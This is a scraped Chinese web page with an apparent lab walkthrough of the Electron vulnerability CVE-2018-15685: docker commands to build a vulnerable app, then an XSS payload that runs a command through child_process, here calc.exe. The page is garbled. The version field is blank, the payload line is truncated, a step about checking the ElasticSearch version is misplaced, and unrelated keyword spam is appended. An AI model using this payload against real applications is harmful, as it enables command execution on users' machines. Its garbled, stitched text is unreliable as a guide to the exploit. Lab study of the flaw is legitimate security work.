千家信息网

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章给大家介绍怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。漏洞描述1.漏
千家信息网最后更新 2026年10月31日怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

这篇文章给大家介绍怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

漏洞描述

1.漏洞编号:CVE-2018-15685

2.影响版本:

3.漏洞产生原因:

Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。

Electron在设置了`nodeIntegration=false`的情况下(默认),页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制,导致在用户可执行JavaScript的情况下(如访问第三方页面或APP存在XSS漏洞时),能够执行任意命令。

启动环境:docker-compose up -d

vulnIP:192.168.1.232

环境启动后,访问`http://your-ip:8080`即可看到Electron默认首页。

编译APP

执行如下命令编译一个包含漏洞的应用:

```docker-compose run -e PLATFORM=win64 --rm electron```

其中PLATFORM的值是运行该应用的操作系统,可选项有:`win64`、`win32`、`mac`、`linux`。

编译完成后,再执行如下命令,启动web服务:

```docker-compose run --rm -p 8080:80 web```

此时,访问`http://your-ip:8080/cve-2018-15685.tar.gz`即可下载编译好的应用。

漏洞发现

关注ElasticSearch的版本

漏洞利用

在本地打开应用:

点击提交,输入框中的内容将会显示在应用中,显然这里存在一处XSS漏洞。

我们提交``,发现没有任何反馈,原因就是`nodeIntegration=false`。

此时,提交POC(Windows):

```require(\'child_process\').exec(\'calc.exe\')');">```

可见,calc.exe已成功弹出:

关于怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

漏洞 应用 命令 编译 内容 环境 原因 情况 更多 版本 系统 页面 帮助 运行 不错 成功 操作系统 兴趣 小伙 小伙伴 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 小米移动互联网科技园 互联网是第几次科技革命的成果 互联网科技公司经营范围 互联网科技官网 美国互联网保险保险科技 疫情对互联网科技公司影响 银优互联网科技有限公司 互联网科技大会 四川狮子座互联网科技 富国互联网科技创新基金 中国互联网有什么科技含量 团飞科技与伯堂互联网服务平台 常德市电业局互联网科技部 花神(南京)互联网科技有限公司 工业互联网等科技实现智能化赋能 互联网领先科技宣传片 互联网科技快讯热点 世界互联网科技成果奖 广州智享互联网科技 上海互联网科技园景观 上海挚品互联网科技有限公司 成都仁贤领冠互联网科技有限公司 创业天下互联网科技有限公司 消费医药和互联网科技 互联网科技人工智能实验室 互联网科技大赛获奖感言 杭州披云加互联网科技有限公司 半导体行业属于互联网高科技类吗 九思连强互联网电子科技有限公司 青岛互联网科技园
0